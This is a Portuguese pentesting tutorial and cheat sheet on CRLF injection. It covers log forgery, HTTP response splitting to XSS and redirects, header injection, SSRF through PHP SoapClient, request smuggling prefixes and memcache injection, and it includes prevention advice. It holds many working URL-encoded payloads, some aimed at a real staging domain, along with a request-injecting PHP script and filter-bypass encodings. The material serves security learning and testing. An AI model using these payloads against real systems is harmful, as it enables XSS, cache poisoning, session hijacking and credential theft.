CRLF (%0D%0A) Injection

Reading time: 11 minutes

CRLF

Carriage Return (CR) e Line Feed (LF), coletivamente conhecidos como CRLF, são sequências de caracteres especiais usadas no protocolo HTTP para denotar o fim de uma linha ou o início de uma nova. Servidores web e navegadores usam CRLF para distinguir entre cabeçalhos HTTP e o corpo de uma resposta. Esses caracteres são universalmente empregados em comunicações HTTP/1.1 em vários tipos de servidores web, como Apache e Microsoft IIS.

CRLF Injection Vulnerability

A injeção CRLF envolve a inserção de caracteres CR e LF em entradas fornecidas pelo usuário. Essa ação engana o servidor, aplicativo ou usuário, fazendo com que interpretem a sequência injetada como o fim de uma resposta e o início de outra. Embora esses caracteres não sejam inerentemente prejudiciais, seu uso indevido pode levar à divisão de respostas HTTP e outras atividades maliciosas.

Example: CRLF Injection in a Log File

Example from here

Considere um arquivo de log em um painel de administração que segue o formato: IP - Time - Visited Path. Uma entrada típica pode parecer:

123.123.123.123 - 08:15 - /index.php?page=home

Um atacante pode explorar uma injeção CRLF para manipular este log. Ao injetar caracteres CRLF na solicitação HTTP, o atacante pode alterar o fluxo de saída e fabricar entradas de log. Por exemplo, uma sequência injetada pode transformar a entrada do log em:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Aqui, %0d e %0a representam as formas codificadas em URL de CR e LF. Após o ataque, o log exibiria de forma enganosa:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

O atacante, assim, encobre suas atividades maliciosas fazendo parecer que o localhost (uma entidade tipicamente confiável dentro do ambiente do servidor) realizou as ações. O servidor interpreta a parte da consulta que começa com %0d%0a como um único parâmetro, enquanto o parâmetro restrictedaction é analisado como outra entrada separada. A consulta manipulada efetivamente imita um comando administrativo legítimo: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Descrição

HTTP Response Splitting é uma vulnerabilidade de segurança que surge quando um atacante explora a estrutura das respostas HTTP. Essa estrutura separa os cabeçalhos do corpo usando uma sequência de caracteres específica, Carriage Return (CR) seguido por Line Feed (LF), coletivamente denominado CRLF. Se um atacante conseguir inserir uma sequência CRLF em um cabeçalho de resposta, ele pode efetivamente manipular o conteúdo da resposta subsequente. Esse tipo de manipulação pode levar a sérios problemas de segurança, notavelmente Cross-site Scripting (XSS).

XSS através de HTTP Response Splitting

1. A aplicação define um cabeçalho personalizado assim: X-Custom-Header: UserInput
2. A aplicação busca o valor para UserInput de um parâmetro de consulta, digamos "user_input". Em cenários que carecem de validação e codificação adequadas de entrada, um atacante pode criar um payload que inclui a sequência CRLF, seguida de conteúdo malicioso.
3. Um atacante cria uma URL com um 'user_input' especialmente elaborado: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• Nesta URL, %0d%0a%0d%0a é a forma codificada em URL de CRLFCRLF. Isso engana o servidor para inserir uma sequência CRLF, fazendo com que o servidor trate a parte subsequente como o corpo da resposta.

4. O servidor reflete a entrada do atacante no cabeçalho da resposta, levando a uma estrutura de resposta não intencional onde o script malicioso é interpretado pelo navegador como parte do corpo da resposta.

Um exemplo de HTTP Response Splitting levando a Redirecionamento

De https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Navegador para:

/%0d%0aLocation:%20http://myweb.com

E o servidor responde com o cabeçalho:

Location: http://myweb.com

Outro exemplo: (de https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

No Caminho da URL

Você pode enviar a carga útil dentro do caminho da URL para controlar a resposta do servidor (exemplo de aqui):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Confira mais exemplos em:

bugbounty-cheatsheet/cheatsheets/crlf.md at master \xc2\xb7 EdOverflow/bugbounty-cheatsheet \xc2\xb7 GitHub

Injeção de Cabeçalho HTTP

A Injeção de Cabeçalho HTTP, frequentemente explorada através da injeção CRLF (Carriage Return and Line Feed), permite que atacantes insiram cabeçalhos HTTP. Isso pode comprometer mecanismos de segurança, como filtros XSS (Cross-Site Scripting) ou a SOP (Same-Origin Policy), potencialmente levando ao acesso não autorizado a dados sensíveis, como tokens CSRF, ou à manipulação de sessões de usuário através do plantio de cookies.

Explorando CORS via Injeção de Cabeçalho HTTP

Um atacante pode injetar cabeçalhos HTTP para habilitar CORS (Cross-Origin Resource Sharing), contornando as restrições impostas pela SOP. Essa violação permite que scripts de origens maliciosas interajam com recursos de uma origem diferente, potencialmente acessando dados protegidos.

SSRF e Injeção de Requisição HTTP via CRLF

A injeção CRLF pode ser utilizada para criar e injetar uma nova requisição HTTP. Um exemplo notável disso é a vulnerabilidade na classe SoapClient do PHP, especificamente dentro do parâmetro user_agent. Ao manipular esse parâmetro, um atacante pode inserir cabeçalhos adicionais e conteúdo do corpo, ou até mesmo injetar uma nova requisição HTTP completamente. Abaixo está um exemplo em PHP demonstrando essa exploração:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Injeção de Cabeçalho para Smuggling de Requisições

Para mais informações sobre esta técnica e problemas potenciais verifique a fonte original.

Você pode injetar cabeçalhos essenciais para garantir que o back-end mantenha a conexão aberta após responder à requisição inicial:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Depois, uma segunda solicitação pode ser especificada. Este cenário geralmente envolve HTTP request smuggling, uma técnica onde cabeçalhos extras ou elementos de corpo adicionados pelo servidor após a injeção podem levar a várias explorações de segurança.

Exploração:

1. Injeção de Prefixo Malicioso: Este método envolve envenenar a solicitação do próximo usuário ou um cache da web especificando um prefixo malicioso. Um exemplo disso é:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. Criando um Prefixo para Envenenamento da Fila de Respostas: Esta abordagem envolve criar um prefixo que, quando combinado com lixo no final, forma uma segunda solicitação completa. Isso pode acionar o envenenamento da fila de respostas. Um exemplo é:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Injeção de Memcache

Memcache é um armazenamento de chave-valor que usa um protocolo de texto claro. Mais informações em:

11211 - Pentesting Memcache

Para informações completas, leia o relato original

Se uma plataforma estiver pegando dados de uma solicitação HTTP e usando-os sem sanitização para realizar solicitações a um servidor memcache, um atacante poderia abusar desse comportamento para injetar novos comandos memcache.

Por exemplo, na vulnerabilidade descoberta originalmente, chaves de cache eram usadas para retornar o IP e a porta a que um usuário deveria se conectar, e os atacantes conseguiram injetar comandos memcache que envenenariam o cache para enviar os detalhes das vítimas (nomes de usuário e senhas incluídos) para os servidores do atacante:

Além disso, os pesquisadores também descobriram que poderiam desincronizar as respostas do memcache para enviar o IP e as portas dos atacantes para usuários cujo e-mail o atacante não conhecia:

Como Prevenir Injeções CRLF / HTTP Header em Aplicações Web

Para mitigar os riscos de injeções CRLF (Carriage Return e Line Feed) ou HTTP Header em aplicações web, as seguintes estratégias são recomendadas:

1. Evitar Entrada Direta do Usuário em Cabeçalhos de Resposta: A abordagem mais segura é evitar incorporar a entrada fornecida pelo usuário diretamente nos cabeçalhos de resposta.
2. Codificar Caracteres Especiais: Se evitar a entrada direta do usuário não for viável, certifique-se de empregar uma função dedicada à codificação de caracteres especiais como CR (Carriage Return) e LF (Line Feed). Essa prática previne a possibilidade de injeção CRLF.
3. Atualizar Linguagem de Programação: Atualize regularmente a linguagem de programação usada em suas aplicações web para a versão mais recente. Opte por uma versão que inherentemente não permita a injeção de caracteres CR e LF dentro das funções encarregadas de definir cabeçalhos HTTP.

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Ferramentas Automáticas

• https://github.com/Raghavd3v/CRLFsuite
• https://github.com/dwisiswant0/crlfuzz

Lista de Detecção de Força Bruta

• https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt

Referências

• https://www.invicti.com/blog/web-security/crlf-http-header/
• https://www.acunetix.com/websitesecurity/crlf-injection/
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.netsparker.com/blog/web-security/crlf-http-header/